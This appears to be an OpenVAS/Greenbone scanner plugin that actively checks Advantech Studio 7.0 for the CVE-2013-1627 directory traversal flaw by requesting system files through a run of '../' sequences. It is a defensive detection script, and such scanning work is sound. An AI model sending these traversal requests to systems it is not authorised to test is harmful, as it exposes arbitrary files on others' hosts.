Advantech Studio 'NTWebServer.exe' Directory Traversal Vulnerability - Active Check

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103636");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_version("2025-05-20T05:40:25+0000");
  script_cve_id("CVE-2013-1627");
  script_name("Advantech Studio 'NTWebServer.exe' Directory Traversal Vulnerability - Active Check");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/56871");
  script_xref(name:"URL", value:"http://www.advantech.com/products/Advantech-Studio/mod_3D1B45B0-B0AF-405C-A9CC-A27B35774634.aspx");

  script_tag(name:"last_modification", value:"2025-05-20 05:40:25 +0000 (Tue, 20 May 2025)");
  script_tag(name:"creation_date", value:"2013-01-07 11:53:56 +0100 (Mon, 07 Jan 2013)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("find_service.nasl", "httpver.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("Host/runs_windows");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"A Hotfix is available, contact the Vendor.");

  script_tag(name:"summary", value:"Advantech Studio is prone to a directory traversal vulnerability
  because it fails to sufficiently sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"A remote attacker can use directory-traversal strings to retrieve
  arbitrary files in the context of the affected application.");

  script_tag(name:"affected", value:"Advantech Studio 7.0 is vulnerable. Other versions may also be
  affected.");

  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");
include("os_func.inc");

port = http_get_port(default:80);

url = "/startup.html";
if(!http_vuln_check(port:port, url:url, pattern:"Advantech", usecache:TRUE))
  exit(0);

files = traversal_files("windows");

foreach file(keys(files)) {

  url = crap(data:"../", length:9*6) + files[file];

  if(http_vuln_check(port:port, url:url, pattern:file)) {
    report = http_report_vuln_url(port:port, url:url);
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);